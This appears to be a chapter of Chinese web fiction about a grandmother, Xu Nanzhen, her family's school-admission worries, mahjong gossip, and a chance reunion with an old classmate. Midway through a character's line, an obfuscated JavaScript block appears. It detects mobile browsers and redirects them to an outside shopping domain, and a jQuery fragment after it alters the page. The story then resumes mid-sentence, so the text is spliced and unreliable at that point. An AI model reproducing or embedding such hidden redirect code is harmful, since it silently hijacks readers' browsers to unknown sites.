周文峰醒来的时候,发现自己躺在床上,太阳穴突突地跳。
乔芸板着脸站在床边,手里握着鸡毛掸子:“昨天送你回来的那女人是谁?”
周文峰揉着脑袋坐起来:“什么女人?我就跟常连喝了酒,后面的事不记得了,不信你问他老婆丁雪,你跟她不是闺蜜吗?”
周文峰边说边拨电话,结果那边直接关机。
“你可真是害死我了。”周文峰低声吐槽常连不靠谱。
乔芸顿时火冒三丈:“这事我亲眼看到,还能有假?那女人说她姓李。”
“姓李的人一大堆,难道我都该认识吗?”周文峰咬了两口油条,拎着包上班去了。
徐南珍在门口听见俩人一大清早吵架,还以为又是因为孩子念书的事,送完婷婷上幼儿园后,徐南珍去找麻将牌友唠嗑。
牌友说,遇事不决就上小红书问问呗。
这些日子,徐南珍琢磨出一个法子,她儿子不是妇产科医生吗?
让他在平台上回答一些医院不方便说的问题,作为交换,人家得分享自家孩子上实小的经验。
小红书的网友倒是热情,一个接一个地提问,产检应该注意什么?顺产疼不疼?剖腹产几天能下地?
这些原本百度就能回答的问题,她一一帮忙搜了,实在是搜不到的答案,她再一条条转发给周文峰,周文峰有空就回。
忙活了一整天,翻了几百条评论,真正分享实小经验的,一只手就数得过来。
#我家孩子也考过,真的挺难的,去年没上成#
#要考家长的,你们要做好准备#
剩下的全是“蹲”之类的话。
徐南珍盯着屏幕,生怕错过一条有用的回复。
等到周文峰下班的时候,徐南珍捧着手机追在周文峰屁股后面问东问西。
周文峰和乔芸都觉得奇怪,妈今天到底怎么了?
突然,徐南珍蹦蹦跳跳地像个孩子,把手机放在他们面前。
网名我爱吃西红柿说:“我家孩子去年考上的,家长要考两篇作文以及面试。小孩就考简单的看图说话和数学。”
比起儿子的呆愣,最先过来的是儿媳的惊叫,“妈,你太厉害了,我要爱死你了!”
--
半个月后的实小招生考试,上午笔试结束后,先是一群孩子从教室里涌出来。
孩子她妈临时有事走不开,徐南珍抱着周思婷坐在考场外面的凳子上等周文峰。
旁边一群家长小声交流。
有人说家长组这次的笔试题目是“为什么选择我们学校?”另一个兴高采烈地接话:“这道题我们家准备过。”
等了快二十分钟,周文峰总算第一个出来的。
徐南珍赶紧迎上去:“考的怎么样?”
周文峰擦了把汗:“我参加医院招聘考试都没这么累。这次考两篇作文,一篇叫《浅谈两代人教育观念的碰撞与相处》,另一篇叫《隔代疼爱与父母管教该如何平衡》。”
旁边几个家长听见了,一片哀嚎。
回到家,周文峰又钻在书房里准备下午的面试,为了孩子,他请了一天假。
工作群里有人夸他是好爸爸,他回了一句:“你们这些小年轻,等有了孩子就知道了。”
到了下午还有一场战要打,周文峰在学校的走廊上来回走动,一遍遍预想考官接下来的提问。
他去卫生间洗了把脸,整理好仪容后,又回到教室门前等候。
很快,轮到他了。
面前坐着七八个考官,个个一脸严肃。
一个女考官好像跟他过不去似的,连着问了他十几个问题。
快接近尾声了,女考官又问:“为什么报我们学校?父母能为学校提供什么助力呢?”
“如果孩子和校长的孩子吵架了怎么办?
最后一个问题最要命,如果错不在你家孩子,你会如实说吗?
周文峰犯了难。
--
得知周思婷的名字出现在实小入学官网上,全家都沸腾了。
徐南珍高兴得合不拢嘴,让周文峰赶紧给亲家母打电话报喜。
刘雅君在电话里掩不住的开心,“这事多亏了你啊。”
两个人难得客客气气说了几句好话,徐南珍趁势提议,一家人去野炊,刘雅君却以路途遥远婉拒了,徐南珍只好邀请常连一家。
常连的女儿常芯宁,跟自己的大孙子成了同班同学,都分配在德引的初一一班。
野炊那天,远处走过来一个珠光宝气的老太太,那是麻将桌上的钱嫂,钱舜英。
她身边还跟着个胖乎乎的女孩。
“芯宁,快叫徐奶奶好。”
女孩微微点头,声音淡淡的:“徐奶奶好。”
“哎呀,芯宁长高了呀!”徐南珍笑着迎上去,又扭头喊周思杰,“来,拿瓶牛奶给同学。”
周思杰干杵着没拿,常芯宁也别过脸去,哼了一声。
假期结束,九月开学季,读书的擂鼓声再一次敲响。
白天,孩子们去上学,大人们去上班,这个家里只剩她一个人。
徐南珍只能每天买菜、做饭、洗碗、看电视。
医院那么大,早已被她逛的轻车熟路。
“妈,您怎么又来了,医院有规定,医生上班时间不能闲聊。”
乔芸是一家高档酒店的包房经理,上次她去给乔芸送包的时候,看见乔芸跟一个男客人拉拉扯扯。
对方喝的醉醺醺的,把手搭在乔芸肩膀上,徐南珍气的直接报警,男人一生气,直接把乔芸投诉到店长那里!
这事,徐南珍自知理亏,不敢再找乔芸。
徐南珍喜欢睡前听一段梅花戏,这天晚上,她失眠了,半夜,隔壁又传来一阵小猫叫。
本来房子隔音就很差,她一个老人家哪儿受得了。
徐南珍用手敲了敲隔壁,那头忽然没声了。
乔芸一把推开周文峰,似有不悦:“怎么回事,你没和妈说咋们想要二胎呀!”
“怎么会是我和妈说这档子事呢?她一个长辈……”
说完,两人背对背钻进被窝,这晚,谁都没了心情。
麻将桌上,哗啦啦的洗牌声就没停过。
几个女人凑在一起,聊到两性话题的时候,个个都笑开了颜。
“你看我们活了一把年纪,什么世面没见过,”徐南珍码着牌,头也不抬,“你要是不让男人搞,他转头就去找野草,狗改不了吃屎。”
钱舜英接话最快:“南珍,说句难听点的,你老公走得早,你也算提前退休了。”
桌上顿时哄笑起来,话题又拐到各自的家庭上。
一个牌友叹了口气:“我要干什么我孩子都不肯,一天到晚听他媳妇的,真是有了媳妇忘了娘。”
另一个也在抱怨,“儿子给我买了个按摩椅,我家儿媳在背后嘀咕了一个月。”
钱舜英嗤笑一声,甩出一张牌:“依我看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586279|205278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,你们就是太仁慈啦!”
徐南珍想起自己每年过生日,乔芸都会给她买金镯子,跟这几个老姐妹一比,好像儿媳对她确实还不错。
她摸了摸手腕上那只镯子,是时候不给儿子儿媳添堵。
然而出师不利的是,周思杰上学的第二天就进了校医务室。徐南珍顾不上换衣服,赶紧打车到德引外国语中学。
常芯宁告诉她,和周思杰打架的男生叫高浩宇,班主任把人叫到了办公室。
她深吸一口气,刚想推开办公室的门,里面传来一个男人中气十足的声音。
我们家浩宇,在家里乖得跟小白鸽一样,怎么可能和人打架?肯定是那小子先招惹的他!”
徐南珍脑海里瞬间浮现出,周思杰捂着裤当的狼狈样,心里的无明火一下蹿上来。
她一把推开门,桌旁站着个低着头的男生,徐南珍劈头盖脸一阵骂。
男生怯生生抬起手,朝旁边指了指:“阿姨,他才是高浩宇。”
徐南珍一愣,顺着他的手指看过去,窗边的高浩宇像是看戏一样看着她。
高浩宇旁边站着一个高大男人,男人一把揪住高浩宇的后领,语气又凶又急:“到底听到了没有!下次再打架,老子把你打废了先。”
难怪有什么样的老子,就有什么样的小子,父子俩都是那么冲动。
“就是你把我们家思杰……”徐南珍快步走到他们面前,“那啥打坏的吧?”
高浩宇:“???”
男人也在这时回头,四目相对。
这张脸让徐南珍有些恍惚,尽管岁月已将他磨去棱角,但是那双眼睛,还是和以前一样。
她忽然心跳加速,今天这些事情加在一起,让她想吃一粒速效救心丸。
班主任有些奇怪:“二位家长认识?”
“不认识。”两个人几乎同时开口。
徐南珍扶着椅子坐下,互相看了眼对方后。
“认识。”又撞上了。
徐南珍的声音带点紧张,男人也停止了刚才嚣张的气焰,转头抽了一根烟。
班主任:“高浩宇爷爷,办公室禁止吸烟。”
高祈年只好把烟用手熄灭。
“可是我家孙子已经断子绝孙了,我们老周家绝后了。”徐南珍的眼泪止不住簌簌往下掉。
班主任简直哭笑不得,“徐奶奶,您先放宽心,医务室检查过的,周思杰没事。但是不管什么原因,动手打人就是不对,两个孩子回去都要好好教育。”
高祈年瞥了一眼徐南珍:“对,郭老师说得对,回去我会好好教育浩宇。”
徐南珍尴尬地擦干眼泪:“我们家的回去也会说。”
随后班主任又嘱咐几句,什么两个孩子要和睦相处、家长多配合之类的,徐南珍一句都没听进去。
夜里,徐南珍的失眠症又犯了,迷迷糊糊间,她想起一个人。
那时候的她还在镇上念初中,和高祈年一个班。没过多久,高祈年不告而别离开小镇,自己也嫁人生儿育女,日子过得忙忙碌碌。
高祈年这个名字,便很久没想起来。
徐南珍正要闭眼,忽然手机上有一个陌生来电打进来,徐南珍有些奇怪但是没有理会。
她又顺手点开微信,通讯录那里有一个新好友的添加申请。
正疑惑间,徐南珍试探性点了同意,对方忽然给她发了一条语音。
“南珍,是我。”
然后就没下文了。